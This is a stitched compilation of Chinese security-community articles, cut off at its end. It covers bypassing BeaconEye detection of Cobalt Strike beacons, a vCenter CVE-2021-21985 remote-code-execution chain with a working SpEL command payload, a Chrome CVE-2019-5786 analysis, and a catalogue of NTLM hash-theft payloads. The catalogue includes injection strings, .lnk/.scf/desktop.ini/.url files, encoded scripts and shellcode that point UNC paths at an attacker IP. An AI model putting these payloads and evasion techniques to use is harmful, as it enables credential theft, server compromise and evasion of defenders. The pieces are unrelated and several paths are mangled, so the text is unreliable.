BeaconEye 是通过 yara 规则来对 Beacon 进行检测的，规则所匹配的就是 C2Profile，在 Beacon 解析完以后，每一项都是占
16 个字节，前 8 个字节是 type，后 8 个字节是 data
为了明确对比一下，先看一下 Java 端的操作，关键需要对比的就是这五条
yara 规则的第一条全为零，是因为 Beacon 在解析的时候直接偏移了 index 个位置
接下来也就都对得上了，类型依次是 short、short、int、int、short，对应过去就是 1、1、2、2、1，后面的值也就都是一样对应了
所以只要能够打破这个规则结构也就可以完成 Bypass 的工作了
# 0x02 Bypass 1
如果单纯做打破结构的话，将中间的值进行替换就可以了，整个十六个字节，实际需要使用的也就是第一位和后面的数据，中间的一片零都是没有意义的，所以在申请这片内存的时候，直接将其设置成其他值就可以了
直接去改字节兴许还有点困难，再或者就是使用寄存器的赋值操作，将其他寄存器的值，替换到 edx 当中
再者就是 inline Hook，这样所有的问题也都很容易解决了
# 0x03 Bypass 2
这个方案会比较复杂，但是做完这个以后，之后要做其他的操作就会比较方便了，不管是进行特征修改，还是后续继续做 Beacon 的二次开发也都是非常方便的。
这个方案就是 HOOK，而且需要对两边都需要进行修改才可以，工作量也是比较大的。
整个 C2Profile 的流程是这样的，先在 Controller 按照指定格式组成数组，将其 Patch 到 beacon.dll 当中，再将
beacon.dll Patch 到 Loader 当中，Beacon 在执行的时候再将其解析成后续需要使用的格式。
为了能更方便处理 beacon.dll，最好的方式是重写 Loader，这样对于修改特征等也都会很方便。
接下来需要讨论的就是如何修改，关键函数就是解析 C2Profile 和取值两块，总共四个函数
对于解析是很容易处理的，之前提到过了，当 fdwReason 传入 1 的时候，所执行的是解析 C2Profile 的操作，直接将这个函数 HOOK
掉就好了
对于取值的话，也都是单个独立的函数，所以整体操作的逻辑都是一致的
对于 HOOK 的库自行选择一个自己感觉舒服的就好，重要的还是地址的偏移，下面是 X64 的偏移量
ULONG_PTR ulParseProfile = ImageBase + 0x18694;
ULONG_PTR ulGetShortValue = ImageBase + 0x18664;
ULONG_PTR ulGetIntValue = ImageBase + 0x185DC;
ULONG_PTR ulGetPtrValue = ImageBase + 0x18630;
后续的代码重写也就非常简单了，申请内存赋值、取 Short、取 Int、取Ptr，这些都按照个人的设计思路来写就可以了
可以很简单的把数据进行罗列，这样在取值的时候会比较麻烦，毕竟不好定位，当然也可以用定长的方式来做
也可以做的很复杂，在中间插入大量的垃圾字符，用一种只有自己才明白的格式来写
有一点需要注意，在 X86 上写三个取值函数的时候，并不能直接去取值，beacon.dll 并不是堆栈传参的，而是通过 edx 来传参的，因为 X86
是支持内嵌汇编的，所以在修改上也是很容易的
__asm mov index, edx
# 0x04 效果图
[文章首发公众号平台](https://mp.weixin.qq.com/s/eQ_OYbhuDEEJFBvNKI9duA) | 社区文章 |
**作者：Ricter Z
原文链接：<http://noahblog.360.cn/vcenter-cve-2021-2021-21985/>**
> vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架，包含上百个 bundle。前几日爆出的任意文件写入漏洞即为
> vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中，发现 h5-vsan 相关的 bundle 提供了一些 API
> 端点，并且未经过授权即可访问。通过进一步的利用，发现其中某个端点存在安全问题，可以执行任意 Spring Bean 的方法，从而导致命令执行。
漏洞时间线：
* 2021/04/13 - 发现漏洞并实现 RCE；
* 2021/04/16 - 提交漏洞至 VMware 官方并获得回复；
* 2021/05/26 - VMware 发布漏洞 Advisory（[VMSA-2021-0010](https://www.vmware.com/security/advisories/VMSA-2021-0010.html)）；
* 2021/06/02 - Exploit 公开（from [随风's blog](https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/)）；
* 2021/06/05 - 本文公开。
### 0x01. 漏洞分析
存在漏洞的 API 端点如下：
图 1. 存在漏洞的 Controller
首先在请求路径中获取 Bean 名称或者类名和方法名称，接着从 POST 数据中获取 `methodInput` 列表作为方法参数，接着进入
`invokeService` 方法：
图 2. invokeService 方法
`invokeServer` 先获取了 Bean
实例，接着获取该实例的方法列表，比对方法名和方法参数长度后，将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean
非常多（根据版本不同数量有微量变化），如图所示：
图 3. Bean 列表
其中不乏存在危险方法、可以利用的 Bean，需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 `vmodlContext`，对应的类是
`com.vmware.vim.vmomi.core.types.impl.VmodContextImpl`，其中的 `loadVmodlPackage`
方法代码如下：
图 4. loadVmodlPackage 方法
注意到 `loadVmodlPackage` 会调用 `SpringContextLoader` 进行加载，`vmodPackage` 可控。
图 5. 调用 SpringContextLoader
最终会调用到 `ClassPathXmlApplicationContext` 的构造方法。`ClassPathXmlApplicationContext`
可以指定一个 XML 文件路径，Spring 会解析 XML 的内容，造成 SpEL 注入，从而实现执行任意代码。
图 6. ClassPathXmlApplicationContext
需要注意的是，在 `SpringContextLoader` 的 `getContextFileNameForPackage` 会将路径中的 `.` 替换为
`/`，所以无法指定一个正常的 IPv4 地址，但是可以利用数字型 IP 绕过：
图 7. 调用 loadVmodlPackages 方法并传入 URL
XML 文件内容及攻击效果如下：
图 8. XML 文件内容及攻击效果
### 0x02. 不出网利用（6.7 / 7.0）
若要利用此漏洞本质上需要获取一个 XML 文件的内容，而 Java 的 URL 并不支持 data 协议，那么需要返回内容可控的 SSRF
或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py：
图 9. VsanHttpProvider.py 文件内容
这里存在一个 SSRF 漏洞，使用的是 Python 的 `urlopen` 函数进行请求，接着将返回内容在内存中进行解压，并且匹配文件名为
`.*offline_bundle.*` 的内容并进行返回。Python 的 `urlopen` 支持 data 协议，所以可以构造一个压缩包并
Base64 编码，构造 data 协议的 URL：
图 10. 利用 SSRF 返回可控文件内容
在利用的过程中，将 IP 地址替换为 localhost 即可防止 `.` 被替换。由于这个端点在 6.5 版本的 vSAN Health
不存在，所以无法在 6.5 版本上不出网利用。
现在虽然不用进行外网请求，但是仍然无法获取命令回显。通过查看 Bean 列表，发现存在名为 `systemProperties` 的 Bean。同时这个
Bean 也存在方法可以获取属性内容：
图 11. 调用 systemProperties 的方法
所以在执行 SpEL 时，可以将命令暂存到 `systemProperties` 中，然后利用 `getProperty` 方法获取回显。最终的
context.xml 内容为：
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>12345678910111213141516171819202122232425262728
最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件，触发第二个 SSRF
漏洞从而返回内容可控的 XML 文件内容，XML 文件会执行命令并存入 System Properties 中，第二个请求调用
`systemProperties` Bean 的 `getProperty` 方法获取输出。最终攻击效果如下：
图 12. 不出网攻击效果
### 0x03. 技术总结
* * * | 社区文章 |
### 介绍
3月1日，谷歌在`FileReader API（CVE 2019-5786）`的Chrome板块中发布了一个0 day漏洞。
来自谷歌漏洞分析组的`Clement Lecigne`报告称，这个漏洞在网络中被利用，可针对`Windows 7,32`位平台应用进行攻击。
该漏洞导致`Renderer`进程中出现代码执行的问题，并且被用于破坏主机系统。
这篇博客作为一篇技术文章，详细介绍了我们找到漏洞的全过程。在撰写本文时，漏洞报告仍然没有被发布，并且Chrome会默认进行自动安装与更新，使用最新版Chrome的用户已经受到保护，不会受到该漏洞的影响。
### 信息采集
#### 1 漏洞修复
大多数`Chrome`代码库都基于`Chromium`的开源项目。
我们目前正在查看的错误内容均包含在开源代码中，因此我们可以直接查看新版本中与`FileReader
API`相关的修复内容。除此之外，谷歌更新了其日志，以方便我们进行参考。
我们可以看到只有一个提交修改了与FileReader API相关的文件，并带有以下消息：
该消息说明对同一个底层的`ArrayBuffer`进行多次引用是一件危险的事情。然而目前尚不清楚它的意义，但以下内容涵盖了此消息中蕴含的智慧。
对于初学者，我们可以查看提交的`diff`并查看所更改的内容。 为便于阅读，下面我们列出补丁前和后的功能比较。
旧版本：
新版本：
这两个版本可以在GitHub上找到。
此处修改了`ArrayBufferResult`函数。而该函数负责在用户需要访问`FileReader.result`成员时返回数据。
函数的运作流程如下：如果结果已被“缓存”，则返回该函数。
如果没有，有两种情况：如果数据已完成加载，则创建`DOMArrayBuffer`，缓存结果并返回它。
如果没有，它会创建一个临时`DOMArrayBuffer`并返回它。
修补前后版本之间的区别在于，在部分加载的情况下，如何处理临时`DOMArrayBuffer`。 在案例中，我们可以看到如下内容：
这促使我们再去进行一些样例测试。 让我们比较未修补和修补情况下反馈有何不同。
我们可以从已修补版本开始，因为它最容易理解。我们可以看到对`ArrayBuffer::Create`的调用，它接受两个参数，一个指向数据的指针及其长度（该函数在树中定义在`/third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer.h`）。
这创建了一个新的`ArrayBuffer`，并将其封装到`scoped_refptr <ArrayBuffer>`中，然后将数据复制到内部。
`scoped_refptr`是`Chromium`处理引用计数的一种方法。 对于不熟悉这个概念的读者，我们会跟踪这个对象被引用的次数。
在创建`scoped_refptr`的新实例时，底层对象的引用计数会递增。当对象退出其范围时，引用计数递减。当该引用计数达到0时，该对象将被删除（如果引用计数溢出，Chrome将终止进程）。在未修补的版本中，代码不使用`ArrayBuffer::Create`，而是使用`ArrayBufferBuilder::ToArrayBuffer()`的返回值（来自`third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer_builder.cc`）：
下面是另一个隐藏的漏洞。 根据`bytes_used_`的值，函数将返回其缓冲区数据（即包含数据副本的较小的`ArrayBuffer`）。
总结目前为止我们所看到的所有代码路径，它们均返回数据的副本而不是实际的缓冲区，除非我们运行未修补的代码，否则我们访问的缓冲区是被“完全使用的”
`（根据`ArrayBufferBuilder::ToArrayBuffer()`中的注释）。
由于`FileReaderLoader`对象被实现，缓冲区_->`ByteLength()`大小是根据缓冲区的预分配而设置，它对应于我们要加载的数据的大小。
如果我们现在提交消息，那么利用该漏洞的唯一情况就是在`finished_loading`设置为`true`之前多次访问`ArrayBufferBuilder::ToArrayBuffer()`，但是其数据将会被完全读取。
当我们有以下调用`DOMArrayBuffer::Create`时（`raw_data _->
ToArrayBuffer()`），为了完成代码检查操作，我们看一下在修补/未修补的情况下是如何调用`DOMArrayBuffer::Create`函数的。
这个过程来自`third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h`：
在使用`std::move`时，我们发现它具有转移权限的功能。
例如，在以下代码段中：
然后`b`取得属于`a`（`b`现在包含'hello'）的所有权，而'a`现在处于未定义的状态。
在我们目前的情况下，程序的反馈有些令人困惑。
`ArrayBufferBuilder::ToArrayBuffer()`返回的对象已经是`scoped_refptr
<ArrayBuffer>`。当调用`ToArrayBuffer()`时，`ArrayBuffer`上的`refcount`增加1，并且`std::move`获取`refcounted`对象的所有权（而不是`ArrayBufferBuilder`）。调用`ToArrayBuffer()`10次会使refcount增加10，但是所有的返回值都是有效的（与上面提到的字符串'a`和`b`的示例相反，在'a`上操作会导致意外情况）。
如果我们在上述位置多次调用`ToArrayBuffer()`，这将成功解决`use-after-free`问题，其中来自`ArrayBufferBuilder`的`buffer_`对象将被破坏。
#### FileReader API
确定如何利用这个漏洞的另一个方法是查看从JavaScript获得的API。
我们可以从`Mozilla Web`文档中获取我们想要的所有信息。
我们可以在`Blob`或`File`上调用`readAsXXX`函数，并且可以中止读取操作，最后有几个事件我们可以进行回调（`onloadstart，onprogress，onloadend，...`）。
`onprogress`事件在数据加载时被调用，但在加载完成之前。
如果我们查看`FileReader.cc`源文件，我们可以看到此事件的调用是在收到数据时每隔50ms触发一次。
### 在浏览器中测试
### 开始
我们要做的第一件事是下载具有漏洞的代码。 这里存在有一些非常有用的资源，人们可以下载旧版本，而不必自己构建它们。
值得注意的是，这里还有一个单独的`zip`文件，其名称中包含`syms`。 我们还可以下载此文件获取构建的调试符号（以.pdb文件的形式）。
调试器和反汇编程序可以导入这些符号，这些符号会使我们的测试更轻松，因为每个函数都将通过源代码中的实际名称重命名。
#### 附加调试器
Chromium作为一个复杂的软件会将多个进程通信连接在一起，这使得调试更加困难。
调试它的最有效方法是正常启动`Chromium`，然后将调试器附加到要利用的进程中。
我们正在调试的代码会在渲染器进程中运行，下面我们分析的函数是由`chrome_child.dll`公开的。
如果要在`x64dbg`中导入符号，这里的解决方案是进入符号窗格，右键单击要导入符号的`.dll/.exe`，然后选择下载符号。
如果未正确配置符号服务器设置，它可能会失败，但它仍将在`x64dbg`的`symbols`目录中创建目录结构，我们可以在其中放置先前下载的.pdb文件。
#### 寻找可利用的代码路径
我们已经下载了未修补的Chromium版本，并且我们知道如何附加调试器。下面就需要我们编写一些JavaScript来查看是否可以访问我们的代码路径。
我们创建了一个传递给`FileReader`的Blob文件。我们注册了一个对`progress`事件的回调，并且在调用事件时进行多次访问，之前我们已经看到数据需要完全加载（这就是我们检查缓冲区大小的原因），如果我们使用相同的后台`ArrayBuffer`获得多个`DOMArrayBuffer`，它们应该将对象分离为`JavaScript`。最后，为了查证我们确实有两个不同的对象由相同的缓冲区存储，我们创建视图来修改底层数据。
我们遇到了另一个问题：进度事件不经常被调用，因此我们必须加载一个非常大的数组，以强制进程多次触发事件。加载与`Mojo`管道绑定，因此暴露`MojoJS`可能是一种新的控制方式，然而在攻击者看来这似乎不切实际。
#### 碰撞的产生
那么，既然我们已经弄清楚如何进入代码路径，我们如何利用它呢？
我们已经看到底层的`ArrayBuffer`被重新计算，所以我们不太可能通过从我们获得的一些`DOMArrayBuffer`中进行释放。溢出`refcount`似乎可行，但如果我们手动修改`refcount`值接近其最大值（通过x64dbg）会造成进程崩溃。最后，我们不能对那些`ArrayBuffers`做太多事情。我们可以改变他们的内容而不是他们的尺寸，也不能手动释放。对代码库不够熟悉，最好的方法是提交各种错误报告，并查看人们的一些谈论。这里我们必须假设`DOMArrayBuffer`拥有其底层内存。经过一番搜索后，我们发现两个链接讨论了`DOMArrayBuffer`可以被外部化，并进行转移操作。我们不熟悉这些术语，但从上下文来看，当发生这种情况时，内存的所有权会转移给其他人。由于我们希望将底层的缓冲区进行释放，所以这对我们来说可以使用。
### 利用过程注意事项和后续步骤
### 如何利用漏洞
本文档的重点不是说明如何越权免费版本后以获得完整的代码执行（事实上，Exodus发布了一个博客和一个漏洞声明，大致与本文的发布时间一致）。由于我们利用`free-after-free`的方式使得我们最终得到了一个非常大的缓冲区。利用`free-after-free`的通常方法是在释放区域之上分配新的对象以产生混淆。在这里，我们释放用于支持`ArrayBuffer`数据的原始内存。我们可以读取/写入大的区域。然而，这种方法同样存在一个问题，因为内存区域非常大，所以没有一个对象可以适应。如果我们有一个小的缓冲区，我们可以创建大量具有特定大小的对象，并将数据在此处进行分配。然而我们需要等待，直到堆为不相关的对象回收内存。在Windows
10 64位系统上，由于随机分配的方式以及随机地址可用的熵，因此此过程很难实现。在Windows 7
32位上，由于地址空间要小得多，因此堆分配更具确定性。分配10k对象可能足以让我们可以控制地址空间中的一些元数据。
第二个原因是因为我们要取消引用一个未映射的区域，如果上面提到的10k分配无法在我们控制的那个区域中分配至少一个对象，那么我们就无法对其进行实习。我们会使得访问冲突，该进程会被终止。然而下面有另一种方法能够破坏JavaScript对象的元数据。
#### 下一步操作
一旦攻击者在渲染器进程内获得代码执行的权限，他们仍然会受到沙箱的限制。 在网络发现的攻击中，攻击者使用第二个0 day攻击Windows内核以逃离沙箱。
最近由360CoreSec发布了一篇描述该漏洞的文章。
### 总结
通过查看修复错误并查找提示进行提交，我们能够恢复出攻击所利用的途径。我们可以看到，在Windows的后期版本中引入的机制使得安全性更高。此外，Google在漏洞修补方面表现的非常积极，其大部分用户群已经无缝更新到最新版本的Chrome。
### 参考资料
[1] <https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop.html>
[2] <https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html>
[2b] <https://bugs.chromium.org/p/chromium/issues/detail?id=936448>
[3]
<https://chromium.googlesource.com/chromium/src/+log/72.0.3626.119..72.0.3626.121?pretty=fuller>
[3b]
<https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449>
[4a]
<https://github.com/chromium/chromium/blob/17cc212565230c962c1f5d036bab27fe800909f9/third_party/blink/renderer/core/fileapi/file_reader_loader.cc>
[4b]
<https://github.com/chromium/chromium/blob/75ab588a6055a19d23564ef27532349797ad454d/third_party/blink/renderer/core/fileapi/file_reader_loader.cc>
[5] <https://www.chromium.org/developers/smart-pointer-guidelines>
[6a]
<https://chromium.googlesource.com/chromium/src/+/lkgr/styleguide/c++/c++.md#object-ownership-and-calling-conventions>
[6b] <https://www.chromium.org/rvalue-references>
[7] <https://developer.mozilla.org/en-US/docs/Web/API/FileReader>
[8] <https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/612439/>
[9] <https://www.exploit-db.com/exploits/46475>
[10a] <https://bugs.chromium.org/p/v8/issues/detail?id=2802>
[10b] <https://bugs.chromium.org/p/chromium/issues/detail?id=761801>
[11] <https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/>
[12] <https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/>
[13] <http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html>
本文来自：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/ | 社区文章 |
# 【技术分享】窃取NTLM HASH的多种奇妙方法
|
##### 译文声明
本文是翻译文章，文章来源：osandamalith.com
原文地址：<https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
当我们想使用Responder工具窃取Windows的NTLM HASH时，经常会有一个疑问，用什么办法才能让Windows系统发送NTLM
HASH值呢？经过一些实验后，我发现办法有很多，现在，我乐意将我发现的一些很酷的东西分享给大家，所以写了这篇文章。需要说明的是，在我们下面的攻击场景中，你不仅可以使用Responder偷取到NTLM
HASH值，还可以直接使用SMBRelay攻击方法。
**本地文件包含(LFI)**
在PHP中，利用include()函数可以实现解析网络路径的目的(在这里，大家自己想一下，为什么需要触发网络路径解析，触发网络路径解析后，为什么responder工具就有可能会抓取到NTLM
HASH值呢？)。利用方法如下图：
http://host.tld/?page=//11.22.33.44/@OsandaMalith
下图是实验结果：
**XML外部实体注入(XXE)**
在这里，我使用了“php://filter/convert.base64-encode/resource=”脚本，该脚本能解析网络路径。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
<name></name>
<tel></tel>
<email>OUT&xxe;OUT</email>
<password></password>
</root>
下图是实验结果：
**XPath注入(XPath Injection)**
通常，在out-of-band(OOB) XPath注入攻击中，doc()函数可用于解析网络路径。利用方法如下：
http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')
下图是实验结果：
**MySql注入**
在MySql out-of-band注入中，我写了一篇完整的[帖子](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)，大家可以看一下，可用到互联网中。你也可以使用“INTO OUTFILE”去解析一个网络路径。利用方法如下：
http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\192.168.0.100\@OsandaMalith’),4;%00
下图是实验结果：
**Regsvr32**
偶然的一个机会，我发现Regsvr32竟然也能实现我们的目的，利用方法如下：
regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll
下图是实验结果：
**批处理文件**
利用批处理文件时，你有很多方法可以去实现目的：
echo 1 > //192.168.0.1/abc
pushd \192.168.0.1abc
cmd /k \192.168.0.1abc
cmd /c \192.168.0.1abc
start \192.168.0.1abc
mkdir \192.168.0.1abc
type\192.168.0.1abc
dir\192.168.0.1abc
find, findstr, [x]copy, move, replace, del, rename and many more!
下图是实验结果：
**Windows自动完成(Auto-Complete)**
你只需要在合适的位置输入“\host”，就可以自动完成，输入位置如下：
**Autorun.inf**
需要说明的是，这种方法只适用于Windows 7以下系统，因为在Windows
7以上系统中，这个功能被取消了。不过，你可以通过修改自动运行的组策略，重新启用这个功能。在实际运用时，最好确保Autorun.inf文件是隐藏的，方法如下：
[autorun]
open=\35.164.153.224setup.exe
icon=something.ico
action=open Setup.exe
**SHELL命令文件**
你可以将它存储为“.scf”文件，一旦打开文件夹资源管理器，它将会尝试解析图标的网络路径。
[Shell]
Command=2
IconFile=\35.164.153.224test.ico
[Taskbar]
Command=ToggleDesktop
**Desktop.ini**
Desktop.ini文件中包含了你要应用到文件夹的图标信息。我们可以将它用于解析一个网络路径。一旦你打开这个文件夹，它就会自动解析网络路径，就可以得到HASH，利用方法如下：
mkdir openMe
attrib +s openMe
cd openMe
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\192.168.0.1aa >> desktop.ini
attrib +s +h desktop.ini
需要注意的是，在XP系统中，Desktop.ini文件使用“IcondFile”代替了“IconResource”。
[.ShellClassInfo]
IconFile=\192.168.0.1aa
IconIndex=1337
**快捷方式文件(.lnk)**
我们可以创建一个包含网络路径的快捷方式文件，当你打开打时，Windows就会尝试解析网络路径。你还可以指定快捷键以触发快捷方式。对于图标位置，你可以使用一个Windows二进制文件、或位于system32目录中的shell32.dll、Ieframe.dll、imageres.dll、pnidui.dll、wmploc.dll等。
Set shl = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
currentFolder = shl.CurrentDirectory
Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "StealMyHashes.lnk"))
sc.TargetPath = "\35.164.153.224@OsandaMalith"
sc.WindowStyle = 1
sc.HotKey = "Ctrl+Alt+O"
sc.IconLocation = "%windir%system32shell32.dll, 3"
sc.Description = "I will Steal your Hashes"
sc.Save
下面是对应的Powershell版：
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
$lnk.TargetPath = "\35.164.153.224@OsandaMalith"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%system32shell32.dll, 3"
$lnk.Description = "I will Steal your Hashes"
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
**Internet快捷方式(.url)**
另一个可以利用的快捷方式是Internet快捷方式，你可以将下面的代码存储为“.url”文件：
echo [InternetShortcut] > stealMyHashes.url
echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
**
**
**注册表自动运行**
可以在下列路径中添加一个新的注册表项：
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
需要添加的内容如下：
**Powershell**
在Powershell中，存在很多可以解析网络路径的小脚本，部分利用方法如下：
Invoke-Item \192.168.0.1aa
Get-Content \192.168.0.1aa
Start-Process \192.168.0.1aa
**IE**
IE可以解析UNC路径，利用方法如下：
<img src="\\192.168.0.1\aa">
你也可以将它注入到XSS中，或你发现的SQL注入场景中，例如：
http://host.tld/?id=-1' union select 1,'<img src="\\192.168.0.1\aa">';%00
**VBScript**
你可以将下面的代码存储为“.vbs”文件，或者内嵌到Word/Excel文件的宏里面：
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
你也可以将它应用到WEB网页中，不过这种方法只适用于IE：
S<html>
<script type="text/Vbscript">
<!-- Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
//-->
</script>
</html>
下面是编码过的版本，你可以将它进行编码，并存储为“.vbe”文件：
#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
也可以在HTML文件中应用它。不过还是只适用于IE。你需要将它存储为“.hta”文件，利用方法如下：
<html>
<script type="text/Vbscript.Encode">
<!-- #@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2 yczmCE~8#XSAAAA==^#~@
//-->
</script>
</html>
**JScript**
利用这种方法时，需要将下面的代码存储为Windows的“js”文件:
var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.FileExists("//192.168.0.103/aa")
同样，也可以应用于“.hta”文件中，不过还是只适用于IE：
<html>
<script type="text/Jscript">
<!-- var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.FileExists("//192.168.0.103/aa")
//-->
</script>
</html>
编码版，需要存储为“.jse”文件：
#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
HTML版本：
<html>
<script type="text/Jscript.Encode">
<!-- #@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
//-->
</script>
</html>
**Windows脚本文件**
将下面的代码存储为“.wsf”文件：
<package>
<job id="boom">
<script language="VBScript">
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
</script>
</job>
</package>
**Shellcode**
下面的[Shellcode](https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html)使用了CreateFile函数，并尝试读取一个不存在的网络路径。你可以使用类似Responder的工具抓取NTLM
HASH值。通过修改Shellcode，攻击者甚至可以直接偷取网络中传输的其他HASH。也可以执行SMBRelay攻击。代码如下：
/*
Title: CreateFile Shellcode
Author: Osanda Malith Jayathissa (@OsandaMalith)
Website: https://osandamalith.com
Size: 368 Bytes
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
int main() {
char *shellcode =
"xe8xffxffxffxffxc0x5fxb9x4cx03x02x02x81xf1x02x02"
"x02x02x83xc7x1dx33xf6xfcx8ax07x3cx05x0fx44xc6xaa"
"xe2xf6xe8x05x05x05x05x5ex8bxfex81xc6x29x01x05x05"
"xb9x02x05x05x05xfcxadx01x3cx07xe2xfax56xb9x8dx10"
"xb7xf8xe8x5fx05x05x05x68x31x01x05x05xffxd0xb9xe0"
"x53x31x4bxe8x4ex05x05x05xb9xacxd5xaax88x8bxf0xe8"
"x42x05x05x05x6ax05x68x80x05x05x05x6ax03x6ax05x6a"
"x01x68x05x05x05x80x68x3ex01x05x05xffxd0x6ax05xff"
"xd6x33xc0x5exc3x33xd2xebx10xc1xcax0dx3cx61x0fxbe"
"xc0x7cx03x83xe8x20x03xd0x41x8ax01x84xc0x75xeax8b"
"xc2xc3x8dx41xf8xc3x55x8bxecx83xecx14x53x56x57x89"
"x4dxf4x64xa1x30x05x05x05x89x45xfcx8bx45xfcx8bx40"
"x0cx8bx40x14x89x45xecx8bxf8x8bxcfxe8xd2xffxffxff"
"x8bx70x18x8bx3fx85xf6x74x4fx8bx46x3cx8bx5cx30x78"
"x85xdbx74x44x8bx4cx33x0cx03xcexe8x96xffxffxffx8b"
"x4cx33x20x89x45xf8x33xc0x03xcex89x4dxf0x89x45xfc"
"x39x44x33x18x76x22x8bx0cx81x03xcexe8x75xffxffxff"
"x03x45xf8x39x45xf4x74x1cx8bx45xfcx8bx4dxf0x40x89"
"x45xfcx3bx44x33x18x72xdex3bx7dxecx75x9cx33xc0x5f"
"x5ex5bxc9xc3x8bx4dxfcx8bx44x33x24x8dx04x48x0fxb7"
"x0cx30x8bx44x33x1cx8dx04x88x8bx04x30x03xc6xebxdf"
"x21x05x05x05x50x05x05x05x6bx65x72x6ex65x6cx33x32"
"x2ex64x6cx6cx05x2fx2fx65x72x72x6fx72x2fx61x61x05";
DWORD oldProtect;
wprintf(L"Length : %d bytesn@OsandaMalith", strlen(shellcode));
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
if (!ret) {
fprintf(stderr, "%s", "Error Occured");
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
return EXIT_SUCCESS;
}
[https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html](https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html)
**将Shellcode嵌入到宏里**
在这里，我们将上面的Shellcode嵌入到Word/Excel宏里面。你可以使用同样的代码嵌入到一个VB6应用程序中：
' Author : Osanda Malith Jayathissa (@OsandaMalith)
' Title: Shellcode to request a non-existing network path
' Website: https://osandamalith
